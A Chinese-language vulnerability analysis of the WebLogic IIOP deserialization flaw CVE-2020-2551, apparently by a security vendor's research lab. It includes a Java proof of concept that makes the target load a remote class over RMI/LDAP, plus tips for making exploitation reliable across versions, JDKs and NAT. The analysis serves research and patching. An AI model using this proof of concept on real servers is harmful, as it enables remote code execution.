作者:r4v3zn(白帽汇安全研究院)
2020 年 1月14日,Oracle 发布了大量安全补丁,修复了 43 个严重漏洞,CVSS 评分均在在9.1以上。
其中 CVE-2020-2551 漏洞,互联网中公布了几篇针对该漏洞的分析文章以及POC,但公布的 POC 有部分不足之处,导致漏洞检测效率变低,不足之处主要体现在:
注:
1. 经过大量的测试,我们的 POC 可稳定运行在多个操作系统、多个 weblogic 版本、多个 JDK 版本以及 Docker 网络中。
2. 以上测试及分析环境全部基于内部环境。
通过 Oracle 官方发布的公告是可以看出该漏洞的主要是在核心组件中的,影响协议为 IIOP 。该漏洞原理上类似于RMI反序列化漏洞(CVE-2017-3241),和之前的T3协议所引发的一系列反序列化漏洞也很相似,都是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,并没有进行安全检查所导致的。
为了能够更好的理解本文稿中所描述 RMI、IIOP、GIOP、CORBA 等协议名称,下面来进行简单介绍。
IDL全称(Interface Definition Language)也就是接口定义语言,它主要用于描述软件组件的应用程序编程接口的一种规范语言。它完成了与各种编程语言无关的方式描述接口,从而实现了不同语言之间的通信,这样就保证了跨语言跨环境的远程对象调用。
在基于IDL构建的软件系统中就存在一个OMG IDL(对象管理组标准化接口定义语言),其用于CORBA中。
就如上文所说,IDL是与编程语言无关的一种规范化描述性语言,不同的编程语言为了将其转化成IDL,都制定了一套自用的编译器用于将可读取的OMG IDL文件转换或映射成相应的接口或类型。Java IDL就是Java实现的这套编译器。
Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。
Java远程方法协议(英语:Java Remote Method Protocol,JRMP)是特定于Java技术的、用于查找和引用远程对象的协议。这是运行在Java远程方法调用(RMI)之下、TCP/IP之上的线路层协议(英语:Wire protocol)。
Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI),是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。
目前基于 JNDI 实现的几本为 rmi 与 ldap 的目录服务系统,构建 rmi 、ldap 比较常用的的工具有 marshalsec 、ysoserial。
更多信息建议查阅Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)。
ORB全称(Object Request Broker)对象请求代理。ORB是一个中间件,他在对象间建立一个CS关系,或者更简单点来说,就是一个代理。客户端可以很简单的通过这个媒介使用服务器对象的方法而不需要关注服务器对象是在同一台机器上还是通过远程网络调用的。ORB截获调用后负责找到一个对象以满足该请求。
GIOP全称(General Inter-ORB Protocol)通用对象请求协议,其功能简单来说就是CORBA用来进行数据传输的协议。GIOP针对不同的通信层有不同的具体实现,而针对于TCP/IP层,其实现名为IIOP(Internet Inter-ORB Protocol)。所以说通过TCP协议传输的GIOP数据可以称为IIOP。
而ORB与GIOP的关系是GIOP起初就是为了满足ORB间的通信的协议。所以也可以说ORB是CORBA通信的媒介。
CORBA全称(Common ObjectRequest Broker Architecture)也就是公共对象请求代理体系结构,是OMG(对象管理组织)制定的一种标准的面向对象应用程序体系规范。其提出是为了解决不同应用程序间的通信,曾是分布式计算的主流技术。
一般来说CORBA将其结构分为三部分,为了准确的表述,我将用其原本的英文名来进行表述:
naming service
client side
servant side
这三部分组成了CORBA结构的基础三元素,而通信过程也是在这三方间完成的。我们知道CORBA是一个基于网络的架构,所以以上三者可以被部署在不同的位置。servant side
可以理解为一个接收 client side
请求的服务端;naming service
对于 servant side
来说用于服务方注册其提供的服务,对于 client side
来说客户端将从 naming service
来获取服务方的信息。这个关系可以简单的理解成目录与章节具体内容的关系:目录即为 naming service
,servant side
可以理解为具体的内容,内容需要首先在目录里面进行注册,这样当用户想要访问具体内容时只需要首先在目录中查找到具体内容所注册的引用(通常为页数),这样就可以利用这个引用快速的找到章节具体的内容。
首先我们来分析 weblogic 神奇的 7001 端口,正常情况下我们通过 7001 端口发送 HTTP 协议时会响应 HTTP 协议的内容,发送 T3 协议的数据包时响应 T3 的响应数据包,发送 IIOP 协议的数据包时响应 IIOP 的数据包。该端口非常的神奇,我们通过什么协议访问该端口该端口会响应对应的协议包内容。
通过浏览器进行访问 weblogic 的 7001 端口可以发现响应的协议类型也为HTTP。
上图通过 IIOP 进行发包响应内容为为 IIOP 内容信息,IIOP 是一种通过 TCP/IP 连接交换 GIOP (通用对象请求代理间通信协议)信息的协议。
该漏洞主要是因为 Webloigc 默认开放 IIOP 协议,并且 JtaTransactionManager
并未做黑名单过滤导致漏洞发生,以下为整个测试 POC(该 POC 来自互联网),后续代码调试也是基于该代码进行调试。
public static void main(String[] args) throws Exception {
String ip = "127.0.0.1";
String port = "7001";
Hashtable<String, String> env = new Hashtable<String, String>();
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", String.format("iiop://%s:%s", ip, port));
Context context = new InitialContext(env);
// get Object to Deserialize
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName("rmi://127.0.0.1:1099/Exploit");
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", jtaTransactionManager), Remote.class);
context.bind("hello", remote);
}
基于公布的POC,整个利用过程就为:
weblogic.jndi.WLInitialContextFactory
类进行 IIOP 协议数据交互。JtaTransactionManager
设置 RMI 加载地址。ysoserial
构建 Gadgets 并且通过 IIOP 进行绑定,并且触发漏洞。注:weblogic流程是基于 weblogic 12.2.1.3.0 进行测试研究。
修改目录 user_project/domains/bin
目录中 setDomainEnv.cmd
或者 setDomainEnv.sh
文件,加if %debugFlag == "false"%
之前加入 set debugFlag=true
,并且重新启动 weblogic,然后将 weblogic 复制到 idea 项目中,并且添加Libraries
新增 Remote 方式进行远程调试。
docker 调试可参考 https://www.cnblogs.com/ph4nt0mer/archive/2019/10/31/11772709.html
前面我们说到 7001 神奇的端口,weblogic 默认是 7001 端口进行接收 IIOP 请求。可以通过 com.oracle.weblogic.iiop.jar!weblogic.iiop.ConnectionManager#dispatch
可以看到所有 IIOP 的请求信息。
然后在 weblogic.rmi.internal.wls.WLSExecuteRequest#run
进行调用 weblogic.rmi.internal.BasicServerRef#handleRequest
。
然后在通过 weblogic.rmi.internal.BasicServerRef#handleRequest
调用 weblogic.rmi.internal.BasicServerRef#handleRequest
最终调用 invoker.invoke
。
以下为到 invoker.invoke
的调用链:
最终实现的方法在 com.weblogic.rmi.cluster.ClusterableServerRef#invoke
方法中。
进入该方法之后会 objectMethods.get(iioprequest.getMethod())
进行获取是否为空,如果为空的话会调用this.delegate._invoke(iioprequest.getMethod(), iioprequest.getInputStream(), rh)
进行处理,由于在发送包的时候执行的操作类型 bind_any()
,该类型不存在 objectMethods
变量中最终会调用 this.delegate._invoke
,具体实现的类为weblogic.corba.cos.naming._NamingContextAnyImplBase#_invoke
:
在 _invoke
方法中获取执行的方法,我们执行的 bind_any
最终会执行到 case 0
的代码块中,最终调用n = WNameHelper.read(in);$result = in.read_any();this.bind_any(n, $result);out = $rh.createReply();
代码块。
其中 WNameHelper.read(in)
通过读取 IOR
中的信息用于注册到 ORB
的流程中。
in.read_any()
最后执行 weblogic.corba.idl.AnyImpl#read_value_internal
处理对应的流程:
以下为 read_any
到 read_value_internal
的调用链:
可以看到最后进行 weblogic.corba.idl.AnyImpl#read_value()
进行读取反序列化反序列化,然后通过以下调用链执行反射并且通过 weblogic.iiop.IIOPInputStream#read_value
通过反射进行获取实例。
通过实例化之后 Serializable news = (Serializable)ValueHandlerImpl.readValue(this, osc, s);
然后通过weblogic.iiop.ValueHandlerImpl#readValue
进行读取内容
!
基于之前 JtaTransactionManager
进行读取流内容进行 this.readObjectMethod.invoke(obj, in)
然后进入 JtaTransactionManager
处理流程
进入 com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager#readObject
整个流程为:
进入 com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager#readObject
后首先会默认读取 defaultReadObject
然后创建 JndiTemplate
提供 this.initUserTransactionAndTransactionManager
进行使用注入远程 JNDI 连接。
this.initUserTransactionAndTransactionManager
会进行调用远程的 JNDI 连接
看到 this.getJndiTemplate().lookup
,最终在 com.bea.core.repackaged.springframework.jndi.JndiTemplate#lookup
进行操作至此结束。
同样已经触发并且加载远程的Class
类。
在背景中,笔者说明 CVE-2020-2551 漏洞公开的 POC ,有部分不足导致漏洞检测效率降低,下面章节我们来进行深入分析。
在受影响 Oracle WebLogic Server 10.3.6.0.0 与 JDK 版本有非常大的关系,如果该机器版本为 1.6 版本必须要为 1.6 ,如果高于次版本会执行失败(低版本的 JDK 不兼容高版本的 JDK ),但是所有 LDAP 以及 HTTP 请求信息仍然有效。
解决方案为利用 POC 设置编译版本来进行处理:
javac Poc.java -source 1.6 -target 1.6
在安装 Oracle WebLogic Server 时需要进行需要指定 JDK 版本进行安装,如未有 JDK 会导致安装失败,安装时的 JDK 有非常大的关系,这次的漏洞主要是通过 JtaTransactionManager
来进行加载 LDAP 协议的内容,早在 JDK 1.7 时 Oracle 官方针对 RMI 、 LDAP 进行了限制,所在在使用时尽量使用 LDAP 协议。
经过测试研究发现以下情况:
jar 版本 | weblogic 版本 | 成功情况 |
---|---|---|
10.3.6.0.0 | 10.3.6.0.0 | 成功 |
10.3.6.0.0 | 12.1.3.0.0 | 成功 |
10.3.6.0.0 | 12.2.1.3.0 | 失败 |
10.3.6.0.0 | 12.2.1.4.0 | 失败 |
12.1.3.0.0 | 10.3.6.0.0 | 成功 |
12.1.3.0.0 | 12.1.3.0.0 | 成功 |
12.1.3.0.0 | 12.2.1.3.0 | 失败 |
12.1.3.0.0 | 12.2.1.4.0 | 失败 |
12.2.1.3.0 | 10.3.6.0.0 | 失败 |
12.2.1.3.0 | 12.1.3.0.0 | 失败 |
12.2.1.3.0 | 12.2.1.3.0 | 成功 |
12.2.1.3.0 | 12.2.1.4.0 | 成功 |
12.2.1.4.0 | 10.3.6.0.0 | 失败 |
12.2.1.4.0 | 12.1.3.0.0 | 失败 |
12.2.1.4.0 | 12.2.1.3.0 | 成功 |
12.2.1.4.0 | 12.2.1.4.0 | 成功 |
最后总结 10.3.6.0.0 或 12.1.3.0.0 版本测试成功 10.3.6.0.0 和 12.1.3.0.0,12.2.1.3.0 或 12.2.1.4.0 版本测试成功 12.2.1.3.0 和 12.2.1.4.0,我把这种情况分为了两大版本,10.3.6.0.0 和 12.1.3.0.0 为一个版本(低版本),12.2.1.3.0 和 12.2.1.4.0 为另外一个版本,所以完整的 POC 需要兼容俩个版本的验证,比较好一点的做法就是通过抓包然后将2个包的内容进行多次发送,或者在利用的前提得知 Weblogic 使用的操作版本,一般 weblogic 的版本会在 https?://host//console/login/LoginForm.jsp
页面会现实版本。
在测试过程中,可能都使用请求 LDAP 协议读取远程的 class 文件,然后才可以执行验证代码,这样做会导致多次发包给 DNSLOG 平台进行验证,可能会导致验证的问题。
在前面讲到解析的流程中,我们看到有 lookup
去LDAP读取远程的 class 文件。如果请求的协议为不存在的某一个协议的话就会出现以下情况:
通过 Wireshark 查看,如果发送不存在的协议会响应回复 System Exception
错误信息:
如果成功会进行响应 User Exception
信息:
那么可以基于该情况进行通过转换构造异常来进行判断漏洞是否存在。
NAT 网络问题是一个非常要命的问题,因为 weblogic 在运行时都是在内网运行的的,外网访问的 weblogic 全部都是转发出去的,这样就会出现一个问题配置的 IP 都为内网地址,就会导致无法正常测试成功。
注:NAT 网络测试仅通过 Docker 进行测试,并未针对互联网进行测试。
正常使用工具进行测试时会出现会响应内网绑定 IP 地址然后一直进行 redict,并且在最后抛出 time out
问题。
针对这种情况只能通过自定义实现 GIOP 协议来绕过该方式:
通过 Wireshark 我们可以看到之前测试靶场时会发包以下内容:
我们可以基于之前发送的 op=_non_existent
进行重新构造,修改 iiop 地址:
在重新 op=_non_existent
发包时需要首先获取 Key Address
(key 存在有效期时间)否则会进行一直进行 Location Forward
,获取 Key
信息并且修改 iiop 地址打开 IIOP 通道,最后进行发送恶意序列化内容。
通过 socket 发包的形式进行发包时,如需要进行替换 LDAP URL 时,正常修改 URL 会一直导致发包响应错误,需要通过 #
进行 panding 构造指定字节长度的 URL 然后通过 #
填充。
String append = "";
for (int i = ldapUrl.length(); i < 0x60; i++) {
append += "#";
}
String url = ldapUrl+append;
System.out.println(url);
截止 2020 年 3 月 4 日,通过 Oracle 官方进行下载 weblogic 时,通过研究发现该漏洞依然存在可以利用(所有受影响版本),需要额外安装补丁。
如下文件为下文件MD5值以及下载时间:
文件名称 | MD5 | SHA1 | 创建时间 |
---|---|---|---|
wls1036_generic.jar | 33D45745FF0510381DE84427A7536F65 | FFBC529D598EE4BCD1E8104191C22F1C237B4A3E | 2020-03-04 |
fmw_12.1.3.0.0_wls.jar | 8378FE936B476A6F4CA5EFA465A435E3 | 5B1761BA2FC31DC8C32436159911E55097B00B1E | 2020-03-04 |
fmw_12.2.1.3.0_wls.jar | 6E7105521029058AD64A5C6198DB09F7 | 74345654AF2C60EA13CF172A7851039A64BFE7E1 | 2017-08-21 |
fmw_12.2.1.4.0_wls.jar | AA090712069684991BA27E4DE9ED3FF6 | CFAA5752D33DD5FFB7A57F91686E15B465367311 | 2019-09-13 |
建议目前已经安装最新版 weblogic 时同排查该漏洞,如有漏洞建议立即安装补丁或通过修复方案进行修复,防止被不法分子利用。